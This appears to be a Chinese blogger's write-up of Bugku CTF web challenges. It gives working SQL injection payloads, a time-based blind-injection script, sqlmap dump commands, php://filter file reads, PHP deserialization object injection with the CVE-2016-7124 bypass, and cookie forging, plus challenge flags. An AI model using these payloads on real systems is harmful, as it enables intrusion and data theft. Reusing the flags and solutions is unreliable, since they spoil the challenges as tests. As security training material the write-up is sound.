自己第一次真正意义上开始练习CTF,收获很多,看来还是面向漏洞学习更有效率一点。。。 链接:https://new.bugku.com/challenges/tag/web

web26

题目链接:http://123.206.31.85:10026/

先看看这个正则表达式/\d+/sD的含义:

先是贪婪匹配数字,然后有两个模式限定符,s代表把换行符当作普通字符,即把整个字符串当作单行字符串看待;D表示Dollar符$只匹配至字符串的末尾而不是行末尾。也就是说$str不能包含数字,无论是在开头、末尾还是中间都不行。

于是尝试构造参数num=1&str=a看看会报什么错,发现直接出flag了,,,。。。???

于是仔细一看,发现运算符and这里有问题。and&&的运算优先级是不一样的,&&的优先级高于=,而and的优先级则低于=,所以在这里有效的只有赋值运算,后面的and运算由于没有变量来存放运算结果,等于没有。下表是PHP中运算符的优先级排序:

这题真的奇葩。。。被甩flag甩的猝不及防。。。

web1

题目链接:http://123.206.31.85:10001/

打开网页,里面就一张图片里面有一段PHP代码,很明显就是代码审计题了。

在这里第一次碰到extract()函数,下面是PHP Manual对这个函数的介绍:

extract — 从数组中将变量导入到当前的符号表 本函数用来将变量从数组中导入到当前的符号表中。 检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。 extract( array &$array[, int $flags = EXTR_OVERWRITE[, string $prefix = NULL]] ) : int

这个函数的必选参数是一个关联数组,函数的功能就是把这个关联数组转化为PHP程序中的变量,并检查是否与已存在变量存在冲突。关联数组里的键名为变量名,键值为变量值。

从这里来看,程序是默认把整个$_GET超全局数组的内容都转化为了变量,也就相当于可以通过GET方法传入变量。后面的if要求$a变量必须存在,且$c变量从$b变量对应的文件中读取内容。如果$a$c的值相等,则输出flag。

显然服务器上的任何文件我们都是不知道内容的,于是无法通过读取真正的文件来满足要求。于是只能使用PHP伪协议php://input。令POST内容与变量a的内容相同即可得到flag。

看了一下别人的WriteUp,只需要传入a=即可,因为使用file_get_contents()函数去读的文件如果不存在的话,那么会返回false。而空字符串与false做等于运算返回的是true,所以也可以打印出flag。

web9

题目链接:http://123.206.31.85:3031/

页面打开只有一句话:

这一行字直接暗示(明示)了一些信息:使用PUT方法发送信息bugku即可拿到flag。

使用BurpSuite修改请求头,拿到一段字符串:

进行base64解密,得到flag:flag{T7l8xs9fc1nct8NviPTbn3fG0dzX9V}

流量分析

题目文件:点击下载

下载下来是一个WireShark的抓包记录文件,使用WireShark打开,追踪TCP数据流即可拿到flag。

flag:flag{bugku123456}

web2

题目链接:http://123.206.31.85:10002/

网页产生了一个随机生成的算式,算式每3秒刷新一次。要求算出正确答案就可以拿到flag。

单靠算肯定是不行的,于是开始玩蛇,成功拿到flag:

1
2
3
4
5
6
7
8
9
import requests
import re

session = requests.session()   # 创建session
r = session.get('http://123.206.31.85:10002/')   # 请求URL
formula = re.findall('<br/>\n(.*?)</p>', r.text,re.S)   # 通过正则表达式搜索算式
result = eval(formula[0])   # 使用eval()函数计算算式得到结果
r = session.post('http://123.206.31.85:10002/', data = {"result": result})   # 使用POST提交结果
print(r.text)

在匹配算式的时候,使用了re.S作为最后一个参数,使用re.S代表可以跨行匹配,而不使用则只能在单行内匹配。

web6

题目链接:http://123.206.31.85:10006/

页面是一个登录框,随便输入密码提示IP禁止访问,请联系本地管理员登陆,IP已被记录.

既然要联系本地管理员登录,不妨伪装成内网IP再登录试试:

网页提示用户凭据无效,说明这样可以正常登录,接下来只需要账户密码正确就能登录了。

一开始猜测是SQL注入,但是尝试了一些注入语句都没有任何反应,那就应该不是SQL注入了,于是尝试爆破密码,使用用户名为admin,密码使用简单密码字典进行爆破,搜索返回结果中含flag字符串的结果,一段时间后爆出密码为test123456

更新:看了一下别人的WriteUp,发现不用爆破。。。源代码最底下已经给了密码。。。

web11

题目链接:http://123.206.31.85:3030/

标题是robots,于是尝试访问robots.txt,发现位置/shell.php

访问之后发现一个md5计算的页面,要求填入的内容的md5值前六位等于指定数值。二话不说,玩蛇:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import hashlib
# import string

def md5(key):
    m = hashlib.md5()
    m.update(key.encode('utf-8'))
    return m.hexdigest()

# 最开始尝试使用数字和字母结合的字符串去尝试,发现跑半天跑不出来,没想到单用数字就可以了
# dic = string.printable[:62]
# for i in dic:
#   for j in dic:
#     for k in dic:
#       for l in dic:
#         s = i + j + k + l
#         if md5(s)[:6] == 'dcbf93':
#           print(s)
#           exit()

for i in range(1000000):
    if md5(str(i))[:6] == 'dcbf93':
        print(i)
        break

程序运行结果如下:

填入内容,拿到flag:

web13

题目链接:http://123.206.31.85:10013

打开网页有一个文本框,随便输入提交,返回Wrong Answer。查看HTML响应头,发现PasswordHint字段,base64解码Password后得到一串flagflag{a480d2b70b629926fca14a5dee65abb4}

填入发现这个并不是真实的flag,于是尝试以这个为内容提交,返回的内容也是一样的。

这个时候考虑到还有Hint,Hint这是要求GKD?那不用手动提交,使用脚本提交会怎样?

1
2
3
4
5
6
7
8
9
import requests
import base64

session = requests.session()
pwd = {"password": "123456"}
r = session.post("http://123.206.31.85:10013/index.php",data=pwd)
pwd1 = base64.b64decode(r.headers['password'])[5:-1]
r = session.post("http://123.206.31.85:10013/index.php",data={"password": pwd1})
print(r.text)

拿到flag:

日志审计

从日志中找出黑客攻击的痕迹 题目文件:点击下载

打开日志文件,看到所有请求的IP地址都是内网IP192.168.0.1和127.0.0.1,所以显然不能从这里得到任何信息。 大致浏览发现大部分请求都返回了404,很可能是一个扫描器在扫描网站目录。 搜索状态码200,发现加载页面的一些数据如JavaScript、css等返回了200之外,还有在访问flag.php的时候返回了200,而且很明显,在使用SQLMap进行SQL注入。把这几行进行URL解码:

发现了ORD(xxx)=数字形式的代码,ord()函数是用于把字符转为ASCII码的,所以尝试把后面的数字当作ASCII码转回字符:

1
2
3
asc = [102, 108, 97, 103, 123, 109, 97, 121, 97, 104, 101, 105, 49, 57, 54, 53, 97, 101, 55, 53, 54, 57, 125]
for each in asc:
    print(chr(each), end="")

得到flag:flag{mayahei1965ae7569}

web20

题目链接:http://123.206.31.85:10020/

题目给了一串动态密文,每刷新一次就会变化,并且还说GET提交密文就可以得到flag。

二话不说,上脚本,直接拿到flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests
import re

while(True):
    s = requests.session()
    r = s.get("http://123.206.31.85:10020")
    code = re.findall("[0-9a-z]+",r.text)
    r = s.get("http://123.206.31.85:10020/?key="+code[0])
    r.encoding="utf-8"
    print(r.text)

这里不能仅仅提交一次,得多次提交才能出flag。可能密文里还有什么规律?研究一下再更新8。

web25

题目链接:http://123.206.31.85:10025/

点击xiazai按钮,跳转到xiazai.html,点击看不懂的链接,显示未发现文件。查看文件链接为http://123.206.31.85:10025/2/ziidan.txt,是一个文本文件,尝试去掉链接中的/2再次访问,得到文件ziidan.txt

看着像是一个字典文件,尝试使用这个作为字典对主页进行爆破提交,发现均返回wrong。

那这个字典有什么用呢?难道还有别的地方提交数据吗?于是使用扫描器扫描站点,发现果然还有一个shell.php

打开再次爆破提交,得到flag:

web3

题目链接:http://123.206.31.85:10003/

点击链接,进入一个上传页面,同时发现有一个get参数op,立马想到文件包含漏洞。 构造参数op=php://filter/convert.base64-encode/resource=flag拿到base64编码字符串,解密后得到flag。

web4

题目链接:http://123.206.31.85:10004/

最简单的SQL注入,输入用户名1' or '1'='1'#,密码留空直接提交拿到flag:

web15

题目链接:http://123.206.31.85:10015/

vim编辑器

题目给了vim编辑器字样,于是想到临时文件.swp。尝试访问.1ndex.php.swp、1ndex.php.swp、1ndex.swp、.1ndex.swp、.index.php.swp、index.php.swp、.index.swp、index.swp均返回404。于是输入swp提交,返回不是这里不是这里不是这里!!!

于是无意中把1ndex.php改成index.php,flag就跑出来了。。。。。。

不知道这题要考什么。。。

web5

题目链接:http://6fe97759aa27a0c9.bugku.com/

这是一道简单的SQL注入,刚好最近刷了DVWA,环境和DVWA中的差不多一致,纯当给自己练练手了。

主界面是一个十分简陋的留言板,默认有两条留言flag和1,点进去果然没有什么有价值的信息,新建留言也显示创建失败,删除也删除不掉这样子。

随后发现详细留言界面http://6fe97759aa27a0c9.bugku.com/?mod=read&id=1有一个可能存在注入的参数id,尝试是否可以注入:

  1. id=1 and 1=1得到正常返回,而id=1 and 1=2提示no data错误,说明存在数字型注入;
  2. 随后猜表列数,id=1 order by 5时返回错误,说明表有4列;
  3. 接下来爆表名,id=0 union select null,group_concat(table_name),null,null from information_schema.tables where table_schema=database()(由于仅显示一条记录,所以要让union查询的前面查询不到东西才能让后面的查询显示),拿到表名flag,posts,users
  4. 然后爆列名,id=0 union select null,group_concat(column_name),null,null from information_schema.columns where table_name='flag',拿到列名flag
  5. 开始拿数据,id=0 union select null,group(flag),null,null from flag拿到flag:

web18

题目链接:http://123.206.31.85:10018/

一个稍微绕了点的SQL注入。。。主界面映入眼帘的除了个导航栏啥也没有,右上有一个假搜索框,左上还有一个List按钮,点击可以出现一段文字:

注意到可控制参数id,但是按上一题的方法尝试,发现使用字符型+and条件,总是不返回数据;而用数字型+and条件,则总是返回数据,添加注释符#--也没用。于是初步判断为字符型注入。

后来受这篇文章的启发,并查阅MySQL官方文档发现,--注释作用的条件是--后必须跟一个空格或控制字符(空格、制表符、换行符等)。而在URL中+被解码为空格,所以--+可以成功注释。除此之外,使用--'闭合掉所有的引号也可以成功注释。

于是尝试id=1'--+,发现返回数据,说明存在字符型注入:

但是又发现一个问题:id=1' and 1=1--+也不返回数据。此时条件成立,且注释掉了后面的部分,于是想到and被过滤:

尝试id=1'and--+发现正常返回数据,说明and被过滤了。如法炮制,可以发现orselectunion也被过滤。

于是,绕开所有的坑,就可以向上面一样开心的玩耍了:

  1. 猜表列数,id=1' ununionion selselectect null,null,null--+返回数据,说明表列数3;
  2. 爆表名
  3. 爆列名
  4. 拿数据

web14

题目链接:http://123.206.31.85:10014/

打开就一个403页面,除此之外没有任何信息,查看网页源代码发现这是个假的403,注释提示要善于发现:

然而我发现了半天也没发现出个啥,于是求助百度,于是发现是/.git目录泄露,可以使用 GitHackGit_Extract 实现从/.git目录中恢复源文件的目的(下图以Git_Extract为例)

于是就恢复出了源文件index.phpflag.php,直接拿到flag:

1
2
3
4
5
6
7
8

// index.php
<?php
echo "I Think Git Is Very NB!!!";
?>

//flag.php
flag{GitIsAFreeVessionControlSyStem}

web21

题目链接:http://123.206.31.85:10021/

打开页面提示你不是尊贵的admin所以啥都没有,但是查看源代码后发现了如何成为尊贵的admin:

于是知道了,只需要通过php://input伪协议来传入user参数,就可以成为尊贵的admin了。除此之外注释中还暗示读取class.php,于是想到通过php://filter来读取:

同理读出index.php,完整源码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

//class.php
<?php
error_reporting(E_ALL & ~E_NOTICE);

class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
        }
        return "__toString was called!";
    }
}
?>

//index.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}

?>

<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
-->

于是变成了一道反序列化的题目。flag应该在f1a9.php里面,但是由于正则表达式不能够直接读,只能通过序列化的对象来读取。 构造PHP代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
class Read{
    public $file;
}
$r = new Read();
$r->file = "f1a9.php";
echo serialize($r)
?>

// Output: O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

于是通过pass参数传入序列化对象,通过file参数将class.php引入,就可以拿到flag了:

web19

题目链接:http://123.206.31.85:10019/

这题有点难度。。。不过也学到了不少东西

页面显示是一对男女的的爱情日记(谈恋爱之前还要先社工别人是真的狼灭),翻遍了也是没有找到什么信息。。。 然后把电脑里能用的工具全部用了一遍,结果发现又是/.git泄露:

然后就找到一个文本文件flag.txt,发现了第一个提示:

Hint 1: flag is in /eXpl0ve5p0cVeRymuCh

然后访问这个目录,发现一个登录框:

初步判断是SQL注入叭,然后就随便试探了一下,发现无论是andor、还是union,无论条件成立还是不成立,都没有回显。。。 所以只能延时盲注了。。。

用SQLMap开扫:

猜数据库名

猜表名

到这里接下来本来要猜列名的,但是这里SQLMap死活注入不成,然后我就自己写了个小脚本试了一下,发现是网站挂了。。。而且神奇的是只有猜列名的时候挂。。。

下面是代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import requests

header = { ...... } # 自行填写

url = "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php"
ascii_dict = list(range(32, 127))
params = {
    'username': '',
    'password': ''
}

print("Start attacking")
print("URL: "+url)

for i in range(101):
    for each in ascii_dict:
        params['username'] = "admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='web19' limit 0,1),%s,1))=%s,sleep(5),1) #" %(str(i),str(each))
        r = requests.post(url, data=params, headers=header)
        print(r.status_code, chr(each))

于是就只能求助百度,找到了列名,再次使用SQLMap挖到了数据:

hlnt_2表的数据

user表的数据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 猜数据库名
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" --forms --dbs

# 猜表名
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" -D web19 --forms --tables

# 猜列名
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" -D web19 -T user --forms --columns
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" -D web19 -T hlnt_2 --forms --columns

# 猜数据
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" -D web19 -T user -C "username,password" --forms --dump
❯❯❯ python .\sqlmap.py -u "http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php" -D web19 -T hlnt_2 -C "hInt" --forms --dump

可以看见user表中有登录的用户名和密码,hlnt_2表中有第二条提示,是一个链接 https://postimg.cc/6274vCP5,打开是个图片:

难道又是个反序列化的东西? 登陆进去之后除了三条游记以及源代码中的一条注释之外,也没啥东西。。。。。至此再次懵逼

于是就又求助了百度,发现有个东西叫 snow HTML隐写,也就刚好和游记中的**“雪”**对上了。 然后用Burp把整个网页保存下来(亲测直接用浏览器保存没用),使用snow找到flag位置:

访问http://123.206.31.85:10019/PPPPOOO0CCCC.php,发现毛都没有,于是想到之前那张反序列化的代码图片,又在游记那儿到处乱翻了一哈,发现一个反序列化的对象藏在Cookie里面:

把反序列化对象改成O:8:"ReadFile":1:{s:4:"file";s:20:"/../PPPPOOO0CCCC.php";}后发包,就拿到flag了(Cookie中要进行URL编码):

web24

题目链接:http://123.206.31.85:10024/

题目进去就是一个商城的界面,吸取前面不认真看的教训,这次把源代码全翻了一遍,果然所有的链接都是假的,而且果然最底下发现了一条注释。。。😅

访问http://123.206.31.85:10024/index/index.php,发现是代码审计:

说白了,就是要绕过这个__wakeup()方法,防止对象的file属性被更改。 根据漏洞CVE-2016-7124的叙述,如果存在__wakeup()方法,调用 unserilize() 方法前则先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行。具体复现可以查看这篇文章

那么接下来就直接开始整: 首先用base64输出序列化对象(考虑到私有属性会在序列化对象中加入控制字符):

1
2
3
$s = new Small_white_rabbit("the_f1ag.php");
echo base64_encode(serialize($s));
// Output: TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoxOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==

然后用Burp搞一哈:

把输出加给var参数,提交,拿到flag:

web23

题目链接:http://123.206.31.85:10023/

开始还是不知道从哪里入手,于是就乱搞,用御剑扫一扫发现/readme.txt(内容如下)和/admin/login.php,推测是登录窗口,验证码应该指的也是这里。

网站默认登录用户名和密码为 admin 123 用户登录后可自行修改密码 密码只支持3位数字

你也想学php验证码啊 http://123.206.31.85:10023/1.png

访问这个链接,发现图片内容是一种绕过验证码的方法。既然都明确告诉你咋整了,那就对着来就行了。 首先抓包,修改PHPSESSIONID为其他任意值,然后用户名admin,密码123,验证码不填直接登录,结果返回用户名或密码错误。。。

然后在/readme.txt中发现了可以自行修改密码的信息,那么应该密码被修改了,不是123了。 那就直接爆破叭:

web16

题目链接:http://123.206.31.85:1616/

这题目就是一个修炼小游戏,你可以修炼、赚钱、买东西,然后最后打boss。 开始游戏,确认角色属性之后进入主界面,提示练功和赚钱都需要五秒,而且赚钱一次100两,然而买一个东西要10000两打底。。。

那显然就走歪路叭。。。谁也不愿意在这里点几百次 查看源代码,引入了三个外部js:md5.jsbase64.js和主程序script.js

1
2
// script.js
eval(function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[57-9abd-hj-zAB]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 s(t){5 m=t+"=";5 8=9.cookie.n(\';\');o(5 i=0;i<8.d;i++){5 c=8[i].trim();u(c.v(m)==0)p c.substring(m.d,c.d)}p""}7 w(a){5 x=new Base64();5 q=x.decode(a);5 r="";o(i=0;i<q.d;i++){5 b=q[i].charCodeAt();b=b^i;b=b-((i%10)+2);r+=String.fromCharCode(b)}p r}7 ertqwe(){5 y="user";5 a=s(y);a=decodeURIComponent(a);5 z=w(a);5 8=z.n(\';\');5 e="";o(i=0;i<8.d;i++){u(-1<8[i].v("A")){e=8[i+1].n(":")[2]}}e=e.B(\'"\',"").B(\'"\',"");9.write(\'<img id="f-1" g="h/1-1.k">\');j(7(){9.l("f-1").g="h/1-2.k"},1000);j(7(){9.l("f-1").g="h/1-3.k"},2000);j(7(){9.l("f-1").g="h/1-4.k"},3000);j(7(){9.l("f-1").g="h/6.png"},4000);j(7(){alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!A{"+md5(e)+"}")},5000)}',[],38,'|||||var||function|ca|document|temp|num||length|key|attack|src|image||setTimeout|jpg|getElementById|name|split|for|return|result|result3|getCookie|cname|if|indexOf|decode_create|base|temp_name|mingwen|flag|replace'.split('|'),0,{}))

一堆奇奇怪怪的变量,完全没有可读性,于是查找资料发现这里使用了 packer JS代码混淆,解密之后得到如下代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// Decrypted script.js
function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length)
    }
    return ""
}

function decode_create(temp) {
    var base = new Base64();
    var result = base.decode(temp);
    var result3 = "";
    for (i = 0; i < result.length; i++) {
        var num = result[i].charCodeAt();
        num = num ^ i;
        num = num - ((i % 10) + 2);
        result3 += String.fromCharCode(num)
    }
    return result3
}

function ertqwe() {
    var temp_name = "user";
    var temp = getCookie(temp_name);
    temp = decodeURIComponent(temp);
    var mingwen = decode_create(temp);
    var ca = mingwen.split(';');
    var key = "";
    for (i = 0; i < ca.length; i++) {
        if (-1 < ca[i].indexOf("flag")) {
            key = ca[i + 1].split(":")[2]
        }
    }
    key = key.replace('"', "").replace('"', "");
    document.write('<img id="attack-1" src="image/1-1.jpg">');
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-2.jpg"
    }, 1000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-3.jpg"
    }, 2000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/1-4.jpg"
    }, 3000);
    setTimeout(function() {
        document.getElementById("attack-1").src = "image/6.png"
    }, 4000);
    setTimeout(function() {
        alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{" + md5(key) + "}")
    }, 5000)
}

可以看见这三个函数,第一个函数用于获取Cookie的值,第二个函数用户对一个字符串进行编码,第三个函数就和flag有关了,具体干嘛的还不知道。 读取网页Cookie发现PHPSESSIONIDuser两项,把user项按程序中的流程去解密,得到了一个PHP序列化对象:

这个序列化对象存有现在人物的所有信息,所以直接把对象中的数据修改了之后再反向编码回去,应该就可以直接修改数据了叭。

于是我用JS写了一个encode_create()函数,函数流程就是decode_create()反过来:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function encode_create(temp) {
    var base = new Base64();
    var result3 = "";
    for (i = 0; i < temp.length; i++) {
        var num = temp[i].charCodeAt();

        num = num + ((i % 10) + 2);
        num = num ^ i;
        document.write(num + " ");
        result3 += String.fromCharCode(num)
    }
    var result = base.encode(result3);
    return result
}

但是使用这个函数输出的东西没法用。。。于是我又用PHP写了一遍:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
    $payload = 'O:5:"human":10:{s:8:"xueliang";i:850;s:5:"neili";i:879;s:5:"lidao";i:53;s:6:"dingli";i:87;s:7:"waigong";i:0;s:7:"neigong";i:0;s:7:"jingyan";i:0;s:6:"yelian";i:0;s:5:"money";i:100000000;s:4:"flag";s:1:"0";}';
    $result = "";
    for($i = 0; $i < strlen($payload); $i++){
        $num = ord($payload[$i]);
        $num = $num + (($i % 10) + 2);
        $num = $num ^ $i;
        $result = $result.chr($num);
    }
    echo urlencode(base64_encode($result));
?>

PHP版本的输出就没有问题:

那为什么JS就有问题呢?首先PHP的算法是没有错误的,而JS里面调用的是网站上的base64函数,难道是这个函数被做了手脚? 查看base64.js,果然发现一个憨憨注释:

原来数据输出的时候并没有进行UTF-8编码,也就是说输出的编码是JS默认的UTF-16,这也就是PHP和JS输出不一样的原因。

解决了这个问题,接下来就可以快乐的刷钱刷能力槽了,把钱刷到一亿之后去买东西,发现买完东西提示购买成功的时候会返回一条Set-Cookie请求,把其内容解码后可以得到每个属性刷满后的值:

如法炮制把每个东西都买一遍,得到了所有属性的满值:

  • 血量:18000
  • 内力:18000
  • 力道:3000
  • 定力:3000
  • 外功、内功、经验、冶炼:1 然后修炼如来神掌,发现flag值被修改为827949417。

修改之后再查看属性,发现直接满级:

然后去打大魔头,发现Burp抓包后提交的请求,Cookie在浏览器上显示还是原来那个。。。 又看了一遍源码,发现其实不用打大魔头就可以得到flag了,因为源码中是通过判断对象中的flag值来给出flag的,而我们上面已经得到flag了,直接按照源码进行md5加密后,得到flag。

PS:有个彩蛋在/wulin.php,可以检测flag的正确性,验证正确后提示”恭喜你“(有点憨憨)

总结

差不多把Web部分的题目都做完了,其实还有几道题没有做,但是这些题不是502就是无解,那我也莫得办法。。。(yysy Bugku的服务器有点8行) 作为一个菜的不行的新手,这个靶场就全当是见世面了。。。 许多题目都借助了百度,但确实学习到了很多知识和原理,收获也蛮大的 总之就。。。加油叭 再接再厉 以后学了其他部分也会去做对应的题的 到时候再更新😂